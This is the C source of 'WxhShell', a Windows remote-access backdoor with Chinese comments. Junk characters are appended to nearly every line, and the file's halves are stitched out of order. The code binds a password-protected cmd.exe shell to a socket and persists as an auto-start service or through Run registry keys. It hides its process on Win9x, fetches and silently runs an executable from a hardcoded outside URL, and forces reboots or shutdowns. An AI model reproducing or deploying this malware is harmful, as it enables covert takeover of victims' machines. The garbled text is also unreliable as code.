    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BLcsIyq  
    if(Boot(SHUTDOWN)) t_{rKb,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'DYT"3  
    else { (7?jjH^4  
    closesocket(wsh); #( o(p  
    ExitThread(0); ]?n~?dD{]  
    } c@)}zcw*  
    break; .>+jtp}  
    } IWP[?U=  
  // 获取shell YN($rAkL  
  case 's': { BZs?tbf  
    CmdShell(wsh); JB(P-Y#yyA  
    closesocket(wsh); YfUUbV  
    ExitThread(0); ="AJ &BqHd  
    break; QP1 bm]QYA  
  } ;(~H(]D  
  // 退出 NiO|Aki{  
  case 'x': { vGI?X#w3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '(&,i/O  
    CloseIt(wsh); EP}NT)z,{  
    break; # `b5kqQm  
    } E@D}Sqt  
  // 离开 [;8vO=Z  
  case 'q': { Kk<MS$Ov  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O/bpm-h`8c  
    closesocket(wsh); V.12  
    WSACleanup(); DTp|he  
    exit(1); ?j-;;NNf  
    break; Ialbz\;F2%  
        } z9IJ%= R  
  } IiRII)  
  } Th\t6K~  
LSN%k5G7.  
  // 提示信息 P},d`4Ty@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T!pjv8y@R  
} a~"<lzu|$  
  } 4.}J'3 .  
{rWFgn4Li  
  return; kG70j{gf  
} ye-R  
s5SKQ#,@P  
// shell模块句柄 'q9='TOk  
int CmdShell(SOCKET sock) )3RbD#?  
{ k| Ye[GM*  
STARTUPINFO si; |"XxM(Dm  
ZeroMemory(&si,sizeof(si)); pu9ub.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c DO<z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b+3QqbJ[F  
PROCESS_INFORMATION ProcessInfo; *g;4?_f  
char cmdline[]="cmd"; Z2wgfP`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m_n*_tX  
  return 0; /vG)n9Rc  
} FZW:dsm  
.ECT  
// 自身启动模式 b&~s}IX   
int StartFromService(void) FELTmQUV  
{ r:*0)UZlD  
typedef struct Z UCz-53  
{ hJcN*2\:  
  DWORD ExitStatus; J SOgq/\  
  DWORD PebBaseAddress; F"*.Qq  
  DWORD AffinityMask; g0 NSy3t  
  DWORD BasePriority; 5$C]$o}  
  ULONG UniqueProcessId; j/+e5.EX/  
  ULONG InheritedFromUniqueProcessId; GI40Ztms  
}   PROCESS_BASIC_INFORMATION; #0wH.\79  
+bv-!rf  
PROCNTQSIP NtQueryInformationProcess; X_nxC6[m%  
lImg+r T{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5Sm)+FC :  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E0Neo _7  
L1i:hgq0]  
  HANDLE             hProcess; L[s8`0  
  PROCESS_BASIC_INFORMATION pbi; C0bOPn  
Im*~6[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !33)6*s  
  if(NULL == hInst ) return 0; ~-.^eT kP  
{zf)im[.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  T.{sO`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8w|-7$ v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `43X? yQ  
@h&crI[c  
  if (!NtQueryInformationProcess) return 0; UZ"jQJQ  
|VPJaiC~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O5:2B\B  
  if(!hProcess) return 0; X\a*q]"_  
N3`EJY_|V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XW*,Lo5>H\  
IV5B5Q'D  
  CloseHandle(hProcess); lwU$*?yv  
Zoi\r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,py:e>+^t  
if(hProcess==NULL) return 0; V>YZ^>oeH  
?t JyQT  
HMODULE hMod; zL<<`u?  
char procName[255]; ?pAO?5Z:}  
unsigned long cbNeeded; .%'$3=/oe  
=QiVcw,G#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w>q:&Q  
^^-uq)A  
  CloseHandle(hProcess); }zkMo ?  
P})Iwk|Z  
if(strstr(procName,"services")) return 1; // 以服务启动 >O:31Uk  
covr0N)  
  return 0; // 注册表启动 d? Old  
} A* =r~T5B  
p? dXs^ c  
// 主模块 opKk#40  
int StartWxhshell(LPSTR lpCmdLine) o?Wp[{K  
{ 2'38(wXn#  
  SOCKET wsl; EP|OKXRltA  
BOOL val=TRUE; ]ZB^Hi_  
  int port=0; 5yHarC  
  struct sockaddr_in door; Wxi|(}  
@"\j]ZEnY  
  if(wscfg.ws_autoins) Install(); !2R<T/9~  
):Vzv  
port=atoi(lpCmdLine); /ox9m7Fz7  
qJQ!e  
if(port<=0) port=wscfg.ws_port; nJvDkh#h1  
!w!}`|q  
  WSADATA data; 4r&S&^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lDQ'  
F%8W*Y699  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @-~ )M_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L+c7.l.yT  
  door.sin_family = AF_INET; cPemrNxydN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q]-CTx$  
  door.sin_port = htons(port); :DxCjv  
DRBRs-D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qm.30 2  
closesocket(wsl); fVU9?^0/)9  
return 1; ~4YLPMGKl  
} f?ImQYqP  
uA} w?;  
  if(listen(wsl,2) == INVALID_SOCKET) { 6(Qr!<  
closesocket(wsl); jAa{;p"jU  
return 1; =*icCng  
} Lqt.S|  
  Wxhshell(wsl); nTJ-1A7EP  
  WSACleanup(); tA?cHDp4E  
?y] q\>  
return 0; |NbF3 fD  
8$|< `:~J  
} woHB![Q,  
~{#$`o=  
// 以NT服务方式启动 pzo9?/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NV|[.g=lg  
{ COE,pb17  
DWORD   status = 0; G2bZl% ,D  
  DWORD   specificError = 0xfffffff; M  `QYrH  
r((2.,\Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6I$laHx?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a?zn>tx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I^M %+\  
  serviceStatus.dwWin32ExitCode     = 0; jm-J_o;}z6  
  serviceStatus.dwServiceSpecificExitCode = 0; &B^zu+J  
  serviceStatus.dwCheckPoint       = 0; ;g3z?Uz)  
  serviceStatus.dwWaitHint       = 0; (RDY-~#~  
Bf72 .gx{0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x>>#<hOz[  
  if (hServiceStatusHandle==0) return; [j6EzMN  
F:PaVr3q  
status = GetLastError(); 0XrB+nt  
  if (status!=NO_ERROR) \m3'4#  
{ 9`"o,wGX3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jWn!96NhlL  
    serviceStatus.dwCheckPoint       = 0; *K9I+t"g  
    serviceStatus.dwWaitHint       = 0; DFgr,~  
    serviceStatus.dwWin32ExitCode     = status; l7 +#gPA  
    serviceStatus.dwServiceSpecificExitCode = specificError; |x2 +O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bv.DW,l%'  
    return; >^1|Mg/!>  
  } y Iab3/#`  
a@|/D\C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |-WoR u  
  serviceStatus.dwCheckPoint       = 0; S?X2MX  
  serviceStatus.dwWaitHint       = 0; hEO#uAR^Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g/)$-Z)Nu  
} ;(a\F  
c0J=gZiP  
// 处理NT服务事件,比如:启动、停止 uCA! L)$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b-/ztZ@u  
{ i\P?Y(-{  
switch(fdwControl) -mSiZ  
{ u N%RB$G  
case SERVICE_CONTROL_STOP: e ~X<+3<  
  serviceStatus.dwWin32ExitCode = 0; Rw]4/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bg^k~NX%  
  serviceStatus.dwCheckPoint   = 0; $ae*3L>5M  
  serviceStatus.dwWaitHint     = 0; T&?0hSYt  
  { _3q%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =)56]ki}  
  } <O`yM2/pS  
  return; 0D;MW  
case SERVICE_CONTROL_PAUSE: oDyrf"dl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aZ$$a+  
  break; 2gn*B$a  
case SERVICE_CONTROL_CONTINUE: NF& ++Vr6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4dDDi,)U  
  break; ~|j:xM(i  
case SERVICE_CONTROL_INTERROGATE: &&iZ?JteZ  
  break; <Sxsmf0"  
}; n@LR?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b\/:-][  
} SZOcFmC?  
UWdPB2x[  
// 标准应用程序主函数 uV]4C^k;`[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4<S*gu*W  
{ _":yUa0D  
^!]Hm&.a  
// 获取操作系统版本 b8V]/  
OsIsNt=GetOsVer(); H].G%,2'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ` [ EzU+  
JPS7L}Kv  
  // 从命令行安装 4X2XSK4  
  if(strpbrk(lpCmdLine,"iI")) Install(); B/IPG~aMEZ  
>wK ^W{  
  // 下载执行文件 p100dJvq  
if(wscfg.ws_downexe) { ;H#'9p,2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c5uT'P"  
  WinExec(wscfg.ws_filenam,SW_HIDE); b\zRwp  
} Z+!3m.q  
BX[92~Bq  
if(!OsIsNt) { myT z  
// 如果时win9x,隐藏进程并且设置为注册表启动 (wmMHo|  
HideProc(); +):t6oX|  
StartWxhshell(lpCmdLine); <!.'"*2  
} J@ x%TA  
else I)~&6@J n  
  if(StartFromService()) $or?7 w>  
  // 以服务方式启动 |H67ny&K^&  
  StartServiceCtrlDispatcher(DispatchTable); t<O5_}R%d  
else 8?S32Gdu  
  // 普通方式启动 p*10u@,  
  StartWxhshell(lpCmdLine); rs01@  
j(|G) F  
return 0; /#Y)nyE  
} QDlEby m  
Q)\7(n  
]KGLJ~hm>  
+zxj-di M  
=========================================== a^qLyF& F  
Sf>R7.lpP  
>;',U<Wd  
u49zc9  
 `"v5bk  
N=K|Nw  
" %dTkw+J  
JGPLVw  
#include <stdio.h> "J]_B  
#include <string.h> eR r.j  
#include <windows.h> H{'<v|I  
#include <winsock2.h> {aI8p}T  
#include <winsvc.h> "}UJ~ j).  
#include <urlmon.h> ]!J 6S.@#+  
uhL+bj+W  
#pragma comment (lib, "Ws2_32.lib") Efi@hdEV  
#pragma comment (lib, "urlmon.lib") :mLcb. E  
^yUel.N5"  
#define MAX_USER   100 // 最大客户端连接数 W)jO 4,eO  
#define BUF_SOCK   200 // sock buffer 7N"$~UfC  
#define KEY_BUFF   255 // 输入 buffer \P]w^  
X3#/|>  
#define REBOOT     0   // 重启 *6~ODiB  
#define SHUTDOWN   1   // 关机 )xiiTkJd5  
&P&LjHFK  
#define DEF_PORT   5000 // 监听端口 t>|Y-i3cb  
vCT5do"C&  
#define REG_LEN     16   // 注册表键长度 0!F"s>(H  
#define SVC_LEN     80   // NT服务名长度 `e]L.P_e?  
UKp- *YukT  
// 从dll定义API m "\jEfjO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T9]|*~ ,T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yfeX=h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9^h\vR|]S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YQOdwc LG  
Z^,C><Yt  
// wxhshell配置信息 ^'i(@{{o\  
struct WSCFG { tLe!_p)  
  int ws_port;         // 监听端口 `O(ec  
  char ws_passstr[REG_LEN]; // 口令 ZzLmsTtzIu  
  int ws_autoins;       // 安装标记, 1=yes 0=no -}0S%|#m  
  char ws_regname[REG_LEN]; // 注册表键名 1"3|6&=  
  char ws_svcname[REG_LEN]; // 服务名 ARAC'F0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6lO]V=+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ')t :!#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |;_NCy8i3X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j?%^N\9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZB GLwe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /kE3V`es  
Mit,X  
}; SV16]Vc  
4>nY't;0  
// default Wxhshell configuration q%TWtQS  
struct WSCFG wscfg={DEF_PORT, b{<qt})  
    "xuhuanlingzhe", Y~Y-L<`I  
    1, duB{ 1  
    "Wxhshell", >k,|N4(  
    "Wxhshell", B1T:c4:N  
            "WxhShell Service", !"/]<OQ   
    "Wrsky Windows CmdShell Service", \"B?'Ep;  
    "Please Input Your Password: ", 5G=<2;  
  1, T:q_1W?h]  
  "http://www.wrsky.com/wxhshell.exe", ;]zV ?9  
  "Wxhshell.exe" D-e0q)RSU  
    }; tAFKq>\  
J#vIz  Q  
// 消息定义模块 u-PAi5&n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P:h;"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }S51yDVG_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; exw~SvT3  
char *msg_ws_ext="\n\rExit."; "a))TV%N  
char *msg_ws_end="\n\rQuit."; z(2pl}  
char *msg_ws_boot="\n\rReboot..."; qd#?8  
char *msg_ws_poff="\n\rShutdown..."; "V-k_d "  
char *msg_ws_down="\n\rSave to "; Pe6}y  
k8H@0p  
char *msg_ws_err="\n\rErr!"; WV&T   
char *msg_ws_ok="\n\rOK!"; K}"xZy Tm1  
-SZXUN  
char ExeFile[MAX_PATH]; pSp/Qpb-B  
int nUser = 0; "s!!\/^9C  
HANDLE handles[MAX_USER]; |N_tVE  
int OsIsNt; *I6z;.#  
g^|}e?  
SERVICE_STATUS       serviceStatus; :8b{|}aYV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Oxs O  
Q^X  
// 函数声明 _R&mN\ey5  
int Install(void); pgbm2mT9  
int Uninstall(void); ^hq+ L^$^  
int DownloadFile(char *sURL, SOCKET wsh); ,5oe8\uz  
int Boot(int flag); >B>[_8=f@  
void HideProc(void); Cbu/7z   
int GetOsVer(void); ;6S,|rC ]  
int Wxhshell(SOCKET wsl); xIu #  
void TalkWithClient(void *cs); su;u_rc,  
int CmdShell(SOCKET sock); /(IV+  
int StartFromService(void); Aq' yr,  
int StartWxhshell(LPSTR lpCmdLine); < kyT{[e+6  
o V"d%ks  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <T]%Gg8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xi$( U8J_  
e R Y2.!  
// 数据结构和表定义 n@5Sp2p  
SERVICE_TABLE_ENTRY DispatchTable[] = D4,kGU@  
{ Qn= 3b:S-  
{wscfg.ws_svcname, NTServiceMain}, t8X$M;$  
{NULL, NULL} ^b|Z<oF  
}; J{>9ctN  
\7b-w81M-  
// 自我安装 ?bFP'.  
int Install(void) (NfP2E|B  
{ /`(Kbwh   
  char svExeFile[MAX_PATH]; s18o,Zs'  
  HKEY key; CTawXHM  
  strcpy(svExeFile,ExeFile); 8VG6~>ux'>  
3 #GZ6:rVJ  
// 如果是win9x系统,修改注册表设为自启动 8Aq [@i  
if(!OsIsNt) { #I> c$dd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =5:L#` .  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LX<arHz  
  RegCloseKey(key); rJLn=|uR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G!]%xFwYa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $+(Df|)  
  RegCloseKey(key); 3a9%djGq  
  return 0; V11(EZJ/j  
    } 5mzOr4*0  
  } U@t" o3E  
} a=ye!CN^  
else { qHwHP 1  
5zk<s`h  
// 如果是NT以上系统,安装为系统服务 feJzX*u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pypW  
if (schSCManager!=0) 2_S%vA<L  
{ "53'FRj_\  
  SC_HANDLE schService = CreateService Z_b^K^4  
  ( v[$-)vs*ag  
  schSCManager, #h,7dz.d  
  wscfg.ws_svcname, :LE0_ .  
  wscfg.ws_svcdisp, Za,MzKd=  
  SERVICE_ALL_ACCESS, '8%pEl^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JA]TO (x  
  SERVICE_AUTO_START, TtZZjeg+V  
  SERVICE_ERROR_NORMAL, S8=Am7D]1  
  svExeFile, TFZvZi$u&  
  NULL, !-G'8a|7  
  NULL, Ufx^@%v  
  NULL, D.7,xgH  
  NULL, P:~X az\F  
  NULL 9gu$vF]9!  
  ); (I<]@7>  
  if (schService!=0) O $dcy!  
  { *[ ' n8Z  
  CloseServiceHandle(schService); iJ8 5okv'  
  CloseServiceHandle(schSCManager); 8(AI|"A"-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "zN2+X"&  
  strcat(svExeFile,wscfg.ws_svcname); A/bxxB7w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :eK(9o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0<g;g%   
  RegCloseKey(key); CsJ38]=Mt  
  return 0; C-wwQbdG/  
    } 2 X];zY  
  } Sn o7Ru2  
  CloseServiceHandle(schSCManager); !@6P>HzY$  
} @ve4rc/LI  
} `zRE$O  
YwbRzY-#F  
return 1; "7w~0?}  
} X jJV  
a'NxsByG]s  
// 自我卸载 ' 91-\en0  
int Uninstall(void) ujlIWQU2mo  
{ Nu/D$m'PY  
  HKEY key; %1Ex{H hb  
|iGfX,C|  
if(!OsIsNt) { `&3hfiI}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L9lNAiOH  
  RegDeleteValue(key,wscfg.ws_regname); g431+O0K1  
  RegCloseKey(key); ?MW *`U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rP5&&Hso  
  RegDeleteValue(key,wscfg.ws_regname); ZsgJ6 Y  
  RegCloseKey(key); 4t C-msTf  
  return 0; dkHye>  
  } /mi9 q  
} OpNTyKbaD  
} |"K<   
else { qw#wZ'<n  
6%j v|\>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `6R.*hq  
if (schSCManager!=0) ]+U:8*  
{ .=~-sj@k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NmH1*w<A  
  if (schService!=0) AQUl:0!  
  { P#0U[`ltK  
  if(DeleteService(schService)!=0) { /~8<;N>,+  
  CloseServiceHandle(schService); d`XC._%^J  
  CloseServiceHandle(schSCManager); Czl4^STiC  
  return 0; [!g$|   
  } "M-zBBY]  
  CloseServiceHandle(schService); TO,XN\{y  
  } \Zn%r&(  
  CloseServiceHandle(schSCManager); ak SUk)}e  
} 0h3 -;%  
} _`oP*g =  
~BUzyc%  
return 1; s(0S)l<  
} =DL |Q  
Q5ZZ4`K!  
// 从指定url下载文件 lc:dKGF6  
int DownloadFile(char *sURL, SOCKET wsh) b0PQ;?R#V  
{ Wl29xY}`{!  
  HRESULT hr; A"Prgf eT  
char seps[]= "/"; /'[m6zm]  
char *token; Y:x,pPyl  
char *file; 9<" .1  
char myURL[MAX_PATH]; !1X^lFf;~  
char myFILE[MAX_PATH]; &8!~H<S  
FX->_}kL=  
strcpy(myURL,sURL); 3PBGIo  
  token=strtok(myURL,seps); 9s.x%m,  
  while(token!=NULL) tc|`cB3f  
  { D*nNu]|j  
    file=token; [|vE*&:uO  
  token=strtok(NULL,seps); b|rMmx8vA  
  } ( !THd  
3iKy>  
GetCurrentDirectory(MAX_PATH,myFILE); K> rZJ[a  
strcat(myFILE, "\\"); +WH|nV~lQ  
strcat(myFILE, file); l%f &vOcd  
  send(wsh,myFILE,strlen(myFILE),0); }C'H@:/  
send(wsh,"...",3,0); |riP*b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u2FD@Xq?  
  if(hr==S_OK) + Cf  
return 0; pBbfU2p  
else |e%o  
return 1; DHnO ,"  
wnPg).  
} VEc^Ap1?'  
O^2@9 w  
// 系统电源模块 MjNq8'$"  
int Boot(int flag) +HpPVuV  
{ .boBo$f  
  HANDLE hToken; `w;8xD(  
  TOKEN_PRIVILEGES tkp; ! D \u2h  
Ofm?`SE*|  
  if(OsIsNt) { hi.` O+;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^W*T~V*8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %77X/%.Y  
    tkp.PrivilegeCount = 1; f~rq)2V:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $GI jWlAh  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AWG;G+  
if(flag==REBOOT) { h,palP6^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tx9;8K3  
  return 0; &hSABtr}  
} `zw^ WbCO{  
else { C@ns`Eh8w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ElK7jWJ+  
  return 0; d'okXCG  
} W[R^5{k`  
  } aQTISX;  
  else { je[1>\3W  
if(flag==REBOOT) { )<+t#5"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Nj^:8]D)0  
  return 0; :p|wo"=@Ge  
} 3%0ShMFP@  
else { Af`qe+0E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <|kS`y  
  return 0; bZKlQ<sI  
} >2)`/B9f4  
} F^/b!)4X  
;iq58.  
return 1; 4]P5k6 nV  
} {}A1[ Y|  
g)M"Cx.  
// win9x进程隐藏模块 _=Eb:n+X  
void HideProc(void) /9 ^F_2'_  
{ )b7;w#%q  
{)5tov1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -KA Y  
  if ( hKernel != NULL ) (=eJceE!  
  { Hdxon@,+cd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t)__J\xF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !C3ozZ<  
    FreeLibrary(hKernel); *]#(?W.$w  
  } +WTO_J7  
qPvWb1H:  
return; # ^q87y  
} ,Qb(uirl]  
6VQe?oh  
// 获取操作系统版本 vS1#ien#  
int GetOsVer(void) U1y8Y/  
{ Q8GI;`Rb  
  OSVERSIONINFO winfo; XN Gw@$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wnr<# =,I'  
  GetVersionEx(&winfo); pcC/$5FQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (l_/ HQ32  
  return 1; "+sl(A3`U  
  else Pz77\DpFi  
  return 0; Iss)7I  
} r Y#^C  
q?0&&"T}  
// 客户端句柄模块 AL{r/h  
int Wxhshell(SOCKET wsl) g=)OcTd#  
{ 98ot{+/LK  
  SOCKET wsh; bZ-_Q  
  struct sockaddr_in client; J`d_=C?J  
  DWORD myID; t E(_Cg  
cME|Lg(J$  
  while(nUser<MAX_USER) =#so[Pd  
{ (O-.^VV  
  int nSize=sizeof(client); j#rj_uP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /!A?>#O&.  
  if(wsh==INVALID_SOCKET) return 1; |?\J,h  
 c_ Dg0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IZSJ+KO  
if(handles[nUser]==0) duq(K9S  
  closesocket(wsh); uN*Ynf(:-  
else S-2@:E  
  nUser++; A9 ;!\Wo  
  } )[np{eF.k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w,!IvDCAw  
; nc3O{rU  
  return 0; (,XbxDfM  
} u.rFZu?E\  
ANuO(^  
// 关闭 socket #gcv])to  
void CloseIt(SOCKET wsh) ,k |QuOrCh  
{ M;j)F  
closesocket(wsh); !e?2 x@J  
nUser--; R|'ftFebB.  
ExitThread(0); }l<:^lX  
} +[B@83  
>XJUj4B|X  
// 客户端请求句柄 5MHc gzyp  
void TalkWithClient(void *cs) E@/* eJ  
{ /*1p|c^  
'B9q&k%<  
  SOCKET wsh=(SOCKET)cs; 4o3TW#  
  char pwd[SVC_LEN]; zFm:=,9  
  char cmd[KEY_BUFF]; L]Dq1q8`  
char chr[1]; _~.S~;o!b  
int i,j; SQ la]%  
oYAHyCkVq  
  while (nUser < MAX_USER) { 5*\]F}  
K};~A?ET,h  
if(wscfg.ws_passstr) { @bF4'M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QX$3"AZ~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fJD+GvV$x  
  //ZeroMemory(pwd,KEY_BUFF); +5"Pm]oRbx  
      i=0; [79iC$8B|  
  while(i<SVC_LEN) { ~s2la~gu  
] XjL""EbC  
  // 设置超时 uN@El1ouY  
  fd_set FdRead; ZtGtJV"H  
  struct timeval TimeOut; NCivh&HR  
  FD_ZERO(&FdRead); 821;;]H  
  FD_SET(wsh,&FdRead); KD`*[.tT  
  TimeOut.tv_sec=8; +} x\|O  
  TimeOut.tv_usec=0; gTb%c84  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D9JHx+Xf>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^4Tf6Fw#  
_c>8y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M \UB r4  
  pwd=chr[0]; Kh7C7[&  
  if(chr[0]==0xd || chr[0]==0xa) { @tlWyUju  
  pwd=0; Gz:ell$  
  break; ?$.JgG%Z+g  
  } Z '~Ie~  
  i++; >';UF;\5]Q  
    } #z =$*\u  
'x<o{Hi"\B  
  // 如果是非法用户,关闭 socket a5?Yh<cJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7O,!67+^~  
} 1ZY~qP+n+  
v}TFM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <UwYI_OX  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]OV}yD2p  
M{g.x4M@W  
while(1) { 5Z`f .}^w  
) uTFId  
  ZeroMemory(cmd,KEY_BUFF); -8yN6 0|  
4{ [d '-H5  
      // 自动支持客户端 telnet标准   q!{>Nlk  
  j=0; nd }Z[)  
  while(j<KEY_BUFF) { Sym}#F\s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lk.tEuj=82  
  cmd[j]=chr[0]; 0ax ;Q[z2  
  if(chr[0]==0xa || chr[0]==0xd) { &qP0-x)  
  cmd[j]=0; sh*/wM  
  break; KNjU!Z/4  
  } dF><XZph  
  j++; >qZl s'  
    } Q5HSik4  
Aw&0R"{  
  // 下载文件  'Pxq>Os  
  if(strstr(cmd,"http://")) { kK:U+`+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q6}KOO)  
  if(DownloadFile(cmd,wsh)) zUq(bD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "s}Oeu[  
  else gv){&=9/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w?P ex]i{  
  } O8~RfB  
  else { R6TT1Ka3c  
MT6"b  
